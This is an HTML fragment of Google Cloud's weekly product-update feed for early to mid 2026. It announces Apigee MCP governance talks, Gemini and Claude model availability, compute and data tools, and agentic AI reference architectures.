<li><strong>Join us for a deep dive into agentic AI control with AppyThings<br></strong>Your integrations aren’t failing—they are evolving. When users interact with AI agents, they no longer arrive directly at your site, resulting in experiences stripped of your context, expertise, and intended experience. Join us on Thursday, June 25, for a community tech talk in partnership with AppyThings to learn how to solve this new gateway challenge. We will explore how MTN laid an integration foundation with the Model Context Protocol (MCP) to deliver accurate, consistent experiences. Our technical experts will demonstrate how to leverage Apigee as a centralized tools management solution to govern agent access. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/3Sfle0y" rel="noreferrer noopener" target="_blank"><strong>Register for the session</strong></a></li>
<li><strong>Optimize Spot VM Deployments with Capacity Advisor for Spot, Now in Public Preview<br></strong>Google Compute Engine has launched <strong>Capacity Advisor for Spot</strong> to Public Preview, now open to all customers. This tool turns Spot capacity discovery into a data-driven process by providing real-time deployment recommendations to maximize obtainability and minimize preemption risks. Query the <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank"><strong>Capacity Advisor API</strong></a> for obtainability and minimum estimated uptimes, or use the new <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/compute/capacityAdvisor" rel="noreferrer noopener" target="_blank"><strong>Console UI</strong></a> featuring a global availability map, spot price lookups, and historical preemption rate trends to visually find the most cost-efficient compute capacity.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank">Get started today</a> to start optimizing your Spot VM deployments!</li>
<li><strong>Build a multi-tenant agentic AI system<br></strong>When scaling generative AI across different business units, your teams need specialized AI agents with unique operational rules and tools. Our new reference architecture helps you build a centralized multi-tenant platform to prevent fragmented silos, eliminate data exposure risks, and maintain unified compliance. Read the guide to <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/architecture/multi-tenant-agentic-ai-system" rel="noreferrer noopener" target="_blank">design and deploy a multi-tenant agentic AI system</a> in Google Cloud.</li>
<li><strong>How to Configure Gemini Enterprise to Connect to a Custom MCP Server<br></strong>The Gemini Enterprise MCP Connector was a big announcement at Google Cloud Next because it introduces the ability to connect Gemini Enterprise to MCP servers. This blog <a href="https://medium.com/google-cloud/how-to-configure-gemini-enterprise-to-connect-to-a-custom-mcp-server-2e28adc96420" rel="noopener" target="_blank">post</a> provides a step-by-step guide on how to configure your first Custom MCP Server connector using the Google Maps Ground Lite MCP server as an example. Once you understand this flow, you can configure multiple MCP servers with Gemini Enterprise to bring all the context you need.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 8 - Jun 12</h3>
<ul>
<li><strong>Simplify Multi-Cloud Planning with Cloud Location Finder, now Generally Available</strong> <br>Cloud Location Finder provides up-to-date data on public regions, zones, and Google Distributed Cloud Connected locations across Google Cloud, AWS, Azure, and OCI. You can now programmatically discover locations based on provider, proximity, territory, and carbon footprint to optimize your global infrastructure strategy for performance, compliance, and sustainability. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="14" href="https://cloud.google.com/location-finder/docs" rel="noreferrer noopener" target="_blank">Get started for free today</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 1 - Jun 5</h3>
<ul>
<li><strong>Modeling the physical world with BigQuery Graph</strong><br>Managing complex supply chains requires more than just spreadsheets; it requires a digital replica of the physical world. In this <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://cloud.google.com/blog/products/data-analytics/modeling-a-digital-twin-using-bigquery-graph" rel="noreferrer noopener" target="_blank">post</a>, Guru Rangavittal and Candice Chen explore how BigQuery Graph enables organizations to build a digital twin by turning physical assets into an interconnected map of nodes and edges. By moving beyond traditional relational databases, businesses gain real-time clarity into operations—from executing surgical ingredient recalls to analyzing weather-driven logistics risks. Discover how BigQuery Graph transforms reactive firefighting into proactive, precision modeling, allowing you to see critical connections in seconds and future-proof your supply chain.</li>
<li><strong>Apigee for AI: Govern LLMs and MCP Servers (Presented in Spanish)<br></strong>Learn how to securely transition your AI initiatives from experimental prototypes to enterprise-ready deployments. Join Luis Cuellar on June 18 for a technical deep dive (presented in Spanish) exploring Apigee’s latest AI gateway capabilities. Discover how to centralize governance over Model Context Protocol (MCP) servers, protect Large Language Models (LLMs) with robust API gateway security policies, and manage token-based quotas.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4dyC2Ie" rel="noreferrer noopener" target="_blank"><strong>Register for the June 18 Spanish Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 25 - May 29</h3>
<ul>
<li>
<p><strong><a href="https://www.anthropic.com/news/claude-opus-4-8" rel="noopener" target="_blank"><span>Anthropic’s Claude Opus 4.8</span></a><span> is now available on </span><a href="https://console.cloud.google.com/vertex-ai/publishers/anthropic/model-garden/claude-opus-4-8"><span>Gemini Enterprise Agent Platform</span></a></strong><span><strong>. </strong></span><span>As we continue to expand our platform's model offerings, this addition gives organizations more options for handling complex, multi-stage enterprise workflows. Claude Opus 4.8 brings strong capabilities in agentic coding, allowing developers to manage extensive refactors and tracking dependencies over extended sessions.</span></p>
</li>
<li><strong>API Horizon Munich July 6, 2026: Orchestrating the Next Era of AI and APIs <br></strong>Master the orchestration of next-gen AI and digital ecosystems. Join Google Cloud experts and DACH tech leaders on July 6 for an exclusive look at the Apigee roadmap, Agent Management, and Model Context Protocol (MCP). Gain real-world insights and connect with the regional integration community.<strong><br><br><a href="https://goo.gle/4dTxQmo" rel="noopener" target="_blank">Register now</a></strong></li>
<li><strong>Securing AI Agents: The Extended Agent Gateway Pattern<br></strong>Learn how to prevent autonomous AI agents from invoking unauthorized APIs. Join Apigee Specialist Joel Gauci on June 4 for a technical deep dive into the Extended Agent Gateway pattern. This session covers enforcing Fine-Grained Authorization (FGA), implementing secure token exchange, and establishing Model Context Protocol (MCP) governance at the API gateway layer to protect enterprise backend services.<br><br><a href="https://goo.gle/4fbAsxg" rel="noopener" target="_blank"><strong>Register for the June 4 Community TechTalk</strong></a></li>
<li><strong>API-to-Agent Security: Exposing REST APIs to Gemini Enterprise via MCP<br></strong>Connect Gemini Enterprise agents to core data without creating security hazards. Join Google Cloud Specialist Nigel Walters on June 11 to learn how to instantly transform legacy REST APIs into secure Model Context Protocol (MCP) servers. We’ll cover how to safely register tools with Gemini while enforcing gateway-level guardrails like rate limiting and access control policies.<br><br><a href="https://goo.gle/4nVyjIr" rel="noopener" target="_blank"><strong>Register for the June 11 Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 18 - May 22</h3>
<ul>
<li><strong>Chinese Webinar | June 4: AI Command and Control<br></strong>As AI agents move from experimental pilots to core enterprise functions, governance has become a critical next step. Join Google Cloud on June 4th at 10:00 AM (Beijing Time) to learn how to build a secure AI management layer architecture. We'll explore how to develop governed MCP (Model Context Protocol) endpoints, manage tool access to enterprise data, and leverage robust audit logs to operationalize AI. This session also includes a practical demonstration of these governance frameworks on Google Cloud.<br><br><a href="https://goo.gle/4dx4Lf5" rel="noopener" target="_blank">Register here</a></li>
<li><strong>GCP Announces New Features to Benchmark and Optimize LLMs for On-Device Use Cases<br></strong>Deploying fine-tuned LLMs from GCP to edge devices like smartphones is complex due to fragmented hardware. Google AI Edge Portal bridges this gap, giving GCP developers the ability to test AI performance on 120+ Android devices, representing the full diversity of high, medium, and low tier smartphones on the market today. This week at I/O, we announced brand new <a href="https://cloud.google.com/blog/products/ai-machine-learning/benchmark-llms-on-device-with-ai-edge-portal" rel="noopener" target="_blank">capabilities</a> to benchmark and debug LLM performance across these devices. <a href="https://docs.google.com/forms/d/e/1FAIpQLSfTcGPycQve8TLAsfH46pBlXBZe9FrgJAClwbF7DeL1LgVn4Q/viewform" rel="noopener" target="_blank">Sign-up</a> to utilize these new features in private preview today.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 11 - May 15</h3>
<ul>
<li><strong>Build Your AI &amp; MCP Control Tower for Universal Governance<br></strong>Master the future of agentic security with Apigee. Join our Community TechTalk on May 21 to discover how Apigee serves as a central "Control Tower" for the Model Context Protocol (MCP). We will explore how new JSON-RPC tool authorization enables fine-grained access policies across your organization, ensuring secure and scalable AI deployments. Whether managing internal tools or external users, learn to govern your agentic ecosystem with absolute precision. This session is designed for global coverage across EMEA and AMER regions.<br><br><a href="https://goo.gle/4u9slWF" rel="noopener" target="_blank">Register for the May 21 Community TechTalk</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 27 - May 1</h3>
<ul>
<li><strong>Master Your Launch: The Apigee Production Go-Live Checklist<br></strong>Ensure a secure launch with the Apigee production guide. Join Nicola Cardace on May 28 to explore security guardrails, including IAM roles, mTLS configurations, and encrypted KVM migrations. Scheduled at 11 AM EDT / 5 PM CEST to support EMEA and AMER teams, this TechTalk provides the technical roadmap you need to flip the switch with absolute confidence.<br><br><strong><a href="https://goo.gle/4elMCTI" rel="noopener" target="_blank">Register for the May 28 Community TechTalk</a></strong></li>
<li>
<p><strong>Transforming APIs into Governed Agentic Tools on the Google Cloud Agentic Platform<br></strong><span>Turn your APIs into secure, governed agentic tools on the Google Cloud Agentic Platform. Join Specialist Christophe Lalevée on May 7 for a technical deep dive into AI productization. Scheduled at 5 PM CEST / 11 AM EDT to maximize coverage for developers across EMEA and AMER, this session explores the integration and governance frameworks required to scale enterprise-ready AI with confidence.</span></p>
<p><a href="https://goo.gle/3PfWm7M" rel="noopener" target="_blank">Register for the May 7 Community TechTalk</a></p>
</li>
<li><a href="https://docs.cloud.google.com/compute/docs/accelerator-optimized-machines#g4-machine-types" rel="noopener" target="_blank">Fractional G4 VMs</a> are Generaly Available, providing a highly efficient and cost-effective entry point for AI and graphics workloads. These new configurations, using NVIDIA virtual GPU (vGPU) technology, allow you to leverage the power of the NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs in flexible, smaller increments, so you can right-size your infrastructure to match the specific demands of your applications. By providing more granular access to advanced hardware, fractional G4 VMs let you optimize resource allocation and reduce overhead without sacrificing performance. You can now select from additional GPU slice sizes for your specific needs:
<ul>
<li><strong>1/2 GPU:</strong> Ideal for more intensive tasks such as LLM inference, robotics sensor simulation, and high-fidelity 3D rendering.</li>
<li><strong>1/4 GPU:</strong> Optimized for mainstream workloads, including mid-range creative design, video transcoding, and real-time data visualization.</li>
<li><strong>1/8 GPU:</strong> Great for lightweight applications such as remote desktops, productivity tools, and entry-level streaming services.</li>
</ul>
</li>
<li>
<p>Transitioning AI from a sandbox prototype to an enterprise-grade system is a major hurdle. A monolithic script won't suffice for widespread deployment. To achieve true scale and reliability with Gemini, organizations must adopt service-oriented micro-agent architectures, establish Zero-Trust security, and implement rigorous EvalOps. Master the "Agentic Maturity Ladder" to ensure your AI &amp; Agentic solutions are robust, secure, and ready for the real world.</p>
<p><a href="https://lnkd.in/gHBH8cTv" rel="noopener" target="_blank">Watch the deep dive</a> and <a href="https://discuss.google.dev/t/beyond-the-prototype-scaling-production-grade-agents-with-gemini/356140" rel="noopener" target="_blank">read the developer blog</a> to learn more.</p>
</li>
<li><strong>ML Development in VS Code with Google Cloud Power: Workbench Extension Now Available<br></strong>Data scientists and developers can now combine the local productivity of VS Code with the scalable infrastructure of Google Cloud. The new Google Cloud Workbench Notebooks extension allows you to connect to and run notebooks on managed cloud environments directly within your local IDE. This integration streamlines the ML lifecycle by eliminating context switching and providing high-performance compute for complex workloads in a familiar interface. As part of our commitment to the developer ecosystem, the extension is fully open-sourced to support community-driven innovation.
<ul>
<li><strong>Install from Marketplace:</strong> <a href="https://marketplace.visualstudio.com/items?itemName=GoogleCloudTools.workbench-notebooks" rel="noopener" target="_blank">GoogleCloudTools.workbench-notebooks</a></li>
<li><strong>Contribute on GitHub:</strong> <a href="https://github.com/GoogleCloudPlatform/colab-enterprise-vscode" rel="noopener" target="_blank">colab-enterprise-vscode</a></li>
</ul>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 20 - Apr 24</h3>
<ul>
<li><strong>Announcing the 2026 Google Cloud Partners of the Year<br></strong>Google Cloud is honored to celebrate the winners of the 2026 Partner of the Year awards! These awards recognize an exceptional group of partners across AI, Security, Infrastructure, and more, who have demonstrated a commitment to customer success. From global system integrators to specialized startups, these winners are leveraging the power of Google Cloud to solve complex challenges and drive digital transformation worldwide. Join us in congratulating these organizations for their innovation, collaboration, and impactful results over the past year.<br><br>See the <a href="https://cloud.google.com/blog/topics/partners/2026-partners-of-the-year-winners-next26">2026 Partner Award winners</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 13 - Apr 17</h3>
<ul>
<li>We're excited to announce the <strong>Public Preview of Datastream’s metadata integration with Knowledge Catalog</strong>. This is the first step in our vision to provide a centralized, "single pane of glass" for all Datastream assets. The enhancement automatically synchronizes Streams, Connection Profiles, and Private Connections, eliminating data silos. It enhances discoverability, allowing you to search for Datastream assets using the same interface as BigQuery tables. Centralized governance is also provided, making your real-time data estate more transparent and easier to manage.</li>
<li><strong>Upgrading Apigee OPDK to 4.53 with OS Modernization<br></strong>Modernize your infrastructure using Google’s official, sequential upgrade path. Our Technical expert, Rakesh Talanki outlines how to upgrade Apigee OPDK to v4.53 while migrating to a supported OS (RHEL 8.x/9.x). This guide covers the "build-out" methodology, including multi-data center syncing, to ensure a stable, zero-downtime transition<br><br><a href="https://goo.gle/3Oa8uqy" rel="noopener" target="_blank">Read the guide</a></li>
<li><strong>Cloud Run Worker Pools and CREMA: Powering Serverless AI at Scale<br></strong>Google Cloud has announced the General Availability of <strong>Cloud Run worker pools</strong>, a new resource type designed specifically for pull-based, non-HTTP workloads. Unlike traditional Cloud Run services that scale based on request traffic, worker pools provide an "always-on" environment for background tasks like processing message queues or running large-scale AI inference. To support this, Google Cloud also open-sourced the <strong>Cloud Run External Metrics Autoscaler (CREMA)</strong>. Built on KEDA, CREMA enables queue-aware autoscaling for worker pools, allowing them to dynamically scale based on external signals like Pub/Sub backlog or Kafka lag.</li>
<li><strong>Apigee Model Context Protocol (MCP) now Generally Available<br></strong>Expose enterprise APIs as MCP tools for agentic AI applications with the General Availability of MCP in Apigee. This update allows developers to transform APIs into AI-ready tools using OpenAPI Specifications, removing the need for local MCP servers or additional infrastructure. With managed endpoints and semantic search in API hub, you can now provide AI agents with secure, governed access to enterprise data at scale.<br><br><a href="https://goo.gle/3QfoEQ4" rel="noopener" target="_blank"><em>Explore the MCP overview</em></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 6 - Apr 10</h3>
<ul>
<li><strong>Community TechTalk: Powering Retail Agents with ADK, UCP &amp; Apigee X<br></strong>Move beyond basic chatbots to secure, transactional AI experiences. Join our Community TechTalk on April 16 to learn how Apigee X and Gemini build a "Trust Layer" for AI shopping assistants using UCP standards. We’ll demonstrate how to block prompt injections with Model Armor and implement cost governance via token limits to secure the path from discovery to purchase.<br><br><a href="https://goo.gle/41ocUgq" rel="noopener" target="_blank"><span>Register for the TechTalk</span></a></li>
<li><strong>Implement multimodal capabilities in your AI agents<br></strong>Explore three new reference architectures for building sophisticated multi-agent AI systems that can process and analyze multimodal data. To analyze disparate multimodal data and produce a high-confidence classification, see <a href="https://docs.cloud.google.com/architecture/agentic-ai-classify-multimodal-data"><span>Classify multimodal data</span></a><span>. To create a fluid conversational AI that processes audio and video streams in real time, see</span> <a href="https://docs.cloud.google.com/architecture/agentic-ai-bidirectional-multimodal-streaming"><span>Enable live bidirectional multimodal streaming</span></a><span>. To consolidate fragmented multimodal data into a searchable knowledge graph, see</span> <a href="https://docs.cloud.google.com/architecture/agentic-ai-multimodal-graph-rag-resource-orchestration"><span>Multimodal GraphRAG resource orchestration</span></a><span>.</span></li>
<li><strong>Automate SecOps workflows with an agentic AI system<br></strong>To accelerate incident response and reduce manual toil for your security team, you need a system that can automate remediation playbooks. Our new reference architecture helps you build an AI agent that orchestrates complex triage and investigation workflows across disparate security tools, such as SIEM, CSPM, and EDR, from a single interface. See the full guide to <a href="https://docs.cloud.google.com/architecture/agentic-ai-orchestrate-security-ops-workflows"><span>orchestrate security operations workflows</span></a><span>.</span></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 30 - Apr 3</h3>
<ul>
<li><strong>ASEAN Webinar | April 30: Mastering Agentic Governance at Scale with GCP<br></strong>As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud experts <strong>Shilpi Puri &amp; Wely Lau</strong> for a <strong>webinar</strong> on <strong>April 30th at 11:00 AM SGT</strong> to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.<br><br><a href="https://goo.gle/47FX1Wn" rel="noopener" target="_blank"><strong>RSVP here.</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 23 - Mar 27</h3>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Turn your API sprawl into an agent-ready catalog<br></strong><span>As organizations scale, APIs often become scattered across multiple gateways, creating "blind spots" that hinder AI adoption. To solve this, we’ve introduced two new capabilities for Apigee API hub: a new integration with API Gateway to automatically centralize API metadata into a single control plane, and a specification boost add-on (now in public preview). This add-on uses AI to enhance your API documentation with the precise examples and error codes that AI agents need to function reliably.<br><br></span><a href="https://goo.gle/47dEYqc" rel="noopener" target="_blank"><span>Read the full blog post to get started.</span></a></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Webinar | April 16: AI Command &amp; Control<br></strong><span>As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud expert Satyam Maloo for a webinar on April 16th at 11:00 AM IST to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.<br><br></span><a href="https://goo.gle/4t43Vg4" rel="noopener" target="_blank"><span>RSVP here.</span></a></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Modernizing and Decoupling Event Ingestion with Apigee<br></strong><span>In modern cloud-native architectures, decoupling producers from consumers is critical for building resilient systems. While Google Cloud Pub/Sub provides a scalable backbone, exposing it directly to external clients can introduce security and management overhead. This new guide explores how to leverage Apigee as an intelligent HTTP ingestion point. Learn how to handle security, mediation, and traffic control before messages reach your internal bus using the PublishMessage policy or Pub/Sub API.</span><br><br><a href="https://goo.gle/3POgsWF" rel="noopener" target="_blank"><span>Read the full guide.</span></a></p>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 16 - Mar 20</h3>
<ul>
<li><strong>Gemini-powered Assistant in BigQuery Studio Gets Context-Aware Upgrades<br></strong>The Gemini-powered assistant in BigQuery Studio has been transformed into a fully context-aware analytics partner, supporting your entire data lifecycle. The new capabilities include intelligent resource discovery, which uses Dataplex Universal Catalog search to find resources across projects and deep dive into metadata using natural language. You can now automate tasks, such as scheduling production-grade queries directly through the chat interface, and instantly troubleshoot long-running or failed jobs with root cause analysis and cost control auditing.<br><br><a href="https://docs.cloud.google.com/bigquery/docs/use-cloud-assist">Explore</a> the full range of what the assistant can do.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 9 - Mar 13</h3>
<ul>
<li>
<div><strong>Want to use Gemini to develop code and don't know where to start?</strong><br>This <a href="https://medium.com/google-cloud/supercharge-your-spark-development-with-gemini-1540f1cb47d4" rel="noopener" target="_blank">article</a> includes a couple of examples of developing code with Gemini prompts; it identified changes that were needed to be made to get the code working. The article also refers to other examples that are available on github. </div>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 2 - Mar 6</h3>
<ul>
<li>
<p><span><strong>Introducing Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model.</strong> Built for high-volume developer workloads at scale, 3.1 Flash-Lite delivers high quality for its price and model tier. Gemini 3.1 Flash-Lite can tackle tasks at scale, like high-volume translation and content moderation, where cost is a priority. And it can also handle more complex workloads where more in-depth reasoning is needed, like generating user interfaces and dashboards, creating simulations or following instructions.</span></p>
<p><span>Starting today, 3.1 Flash-Lite is rolling out in preview to enterprises via </span><a href="https://console.cloud.google.com/vertex-ai/studio/multimodal?mode=prompt&amp;model=gemini-3.1-flash-lite-preview"><span>Vertex AI</span></a><span> and </span><span>developers via the Gemini API in </span><a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-flash-lite-preview" rel="noopener" target="_blank"><span>Google AI Studio</span></a><span>.</span></p>
</li>
<li>
<div>
<p><strong>TechTalk: Implementing Device Authorization Grant (RFC 8628) for Apigee</strong><br>Learn how to authorize "headless" devices like Smart TVs or AI agents that lack keyboards and browsers. Join our Community TechTalk on March 19 (5PM CET / 12PM EDT) to go under the hood of Apigee X/Hybrid. We’ll cover the real-world mechanics of state management, polling, and human-in-the-loop security patterns for devices and autonomous agents.</p>
<p><a href="https://goo.gle/4r6o6Zi" rel="noopener" target="_blank">Register for the TechTalk</a></p>
</div>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Feb 23 - Feb 27</h3>
<ul>
<li>
<p><span><strong>Pro-level image generation gets faster and more accessible with Nano Banana 2<br></strong></span><span>Nano Banana 2 is our state-of-the-art image generation and editing model. It delivers Pro-level image generation and editing at the speed you expect from Flash — making the quality, reasoning, and world knowledge you loved about Nano Banana Pro more accessible. Learn more about the model </span><a href="https://blog.google/innovation-and-ai/technology/ai/nano-banana-2" rel="noopener" target="_blank"><span>here</span></a><span>.</span></p>
</li>
</ul>
<ul>
<li>
<p><strong>The Intelligent Path to Compliance: Transforming Regulatory QC with Google Cloud<br></strong><span>Reducing "Refuse to File" (RTF) risks and submission cycle times is critical for life sciences leaders. Google Cloud’s Regulatory Submission Semantic QC Auditor leverages Gemini and RAG architecture to transform Quality Control from a manual burden into an active, intelligent workflow.</span></p>
<p><span>By automating semantic cross-referencing, narrative coherence checks, and dynamic guidance-based auditing, this solution ensures rigorous accuracy and auditability. Operating within a secure GxP-ready environment, it empowers teams to detect subtle inconsistencies and generate remediation plans without sacrificing data privacy. <br><br></span><a href="https://discuss.google.dev/t/the-intelligent-path-to-compliance-transforming-regulatory-quality-control-with-google-cloud/335276" rel="noopener" target="_blank"><span>Learn more</span></a><span>.</span></p>
</li>
<li><span><span>Stop typing, start interacting! <strong>The Gemini Live Agent Challenge is here</strong>. Build immersive agents that can help you see, hear, and speak using Gemini and Google Cloud. Compete for your share of $80,000+ in prizes and a trip to Google Cloud Next '26!<br><br></span><span>Submissions are open from February 16, 2026 to March 16, 2026. Learn more and register at </span><a href="http://geminiliveagentchallenge.devpost.com/" rel="noopener" target="_blank"><span>geminiliveagentchallenge.devpost.com</span></a></span></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Feb 9 - Feb 13</h3>
<ul>
<li>
<p><strong><span>Introducing Gemini 3.1 Pro on Google Cloud. </span></strong></p>
<span>3.1 Pro is a noticeably smarter, more capable baseline for complex problem-solving. We’re shipping 3.1 Pro at scale, building upon our </span><a href="https://cloud.google.com/blog/products/ai-machine-learning/gemini-3-is-available-for-enterprise?e=48754805"><span>goal</span></a><span> to help you transform your business for the agentic future. Learn more about the model’s capabilities </span><a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-1-pro" rel="noopener" target="_blank"><span>here</span></a><span>. Gemini 3.1 Pro is available starting today in preview in </span><a href="https://cloud.google.com/vertex-ai?e=48754805"><span>Vertex AI</span></a><span> and </span><a href="https://cloud.google.com/gemini-enterprise?e=48754805"><span>Gemini Enterprise</span></a><span>. Developers can access the model in preview via the Gemini API in </span><a href="https://aistudio.google.com/prompts/new_chat?model=gemini-3.1-pro-preview" rel="noopener" target="_blank"><span>Google AI Studio</span></a><span>, </span><a href="https://developer.android.com/studio" rel="noopener" target="_blank"><span>Android Studio</span></a><span>, </span><a href="https://antigravity.google/blog/gemini-3-1-in-google-antigravity" rel="noopener" target="_blank"><span>Google Antigravity</span></a><span>, and </span><a href="https://geminicli.com/" rel="noopener" target="_blank"><span>Gemini CLI</span></a><span>.<br><br></span></li>
<li><strong>Automate Storage Compatibility with GKE Dynamic Default Storage Classes<br></strong>Managing storage across mixed-generation VM clusters in GKE just got easier. With the new <strong>Dynamic Default Storage Class</strong>, Google Kubernetes Engine automatically selects between Persistent Disk (PD) and Hyperdisk based on a node's specific hardware compatibility. This abstraction eliminates the need for complex scheduling rules and manual pairing, ensuring your volumes "just work" regardless of the underlying infrastructure. By defining both variants in a single class, you reduce operational overhead while maintaining peak performance and cost-efficiency across your entire cluster.<br><br><a href="https://docs.cloud.google.com/kubernetes-engine/docs/concepts/hyperdisk#automated_disk_type_selection" rel="noopener" target="_blank">Explore automated disk type selection</a></li>
<li>
<p><strong>Community TechTalk: AI-Powered Apigee Development with strofa.io<br></strong><strong>Join the Apigee community on February 26</strong><span> for a deep dive into</span> <a href="https://www.google.com/search?q=http://strofa.io" rel="noopener" target="_blank"><span>strofa.io</span></a><span>. Guest speaker Denis Kalitviansky will demonstrate how this new AI-powered tool automates and orchestrates Apigee development, from local emulators to large-scale hybrid environments. Discover how to scale your API management and streamline team collaboration using the latest in AI-driven automation.</span></p>
<p><a href="https://goo.gle/3Oerns3" rel="noopener" target="_blank"><span>Register now to reserve your spot.</span></a></p>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jan 26 - Jan 30</h3>
<ul>
<li><strong><span>Simplify API Governance with Native OpenAPI v3 Support<br></span></strong>Eliminate integration debt and accelerate deployment velocity with the General Availability of OpenAPI v3 (OASv3) support for API Gateway and Cloud Endpoints. You no longer need to downgrade modern specifications to OASv2. Instead, you can now define API contracts and enforce critical policies—including telemetry, quotas, and security—using native Google-specific extensions directly within your OASv3 files. This update ensures your APIs are secure by design while remaining fully compatible with the modern developer ecosystem and Google Cloud’s AI services.<br><br><a href="https://goo.gle/49Wx58Z" rel="noopener" target="_blank"><span>Get started with OpenAPI v3 on API Gateway and Cloud Endpoints.</span></a></li>
</ul>
<ul>
<li><strong><span>Accelerate API Testing with the New Open Source API Tester<br></span></strong>Start validating your APIs with API Tester, a simple, YAML-based Test Driven Development (TDD) framework. Designed for the Apigee community, this tool allows you to write human-readable tests, run them instantly via a web client or CLI, and perform deep unit testing on Apigee proxies. With native support for JSONPath assertions and Apigee shared flows, you can verify everything from payload data to internal variables like <code>proxy.basepath</code><span> without leaving your terminal.<br><br></span><a href="https://goo.gle/4q5WDGK" rel="noopener" target="_blank"><span>Explore the API Tester guide and start testing your proxies today.</span></a></li>
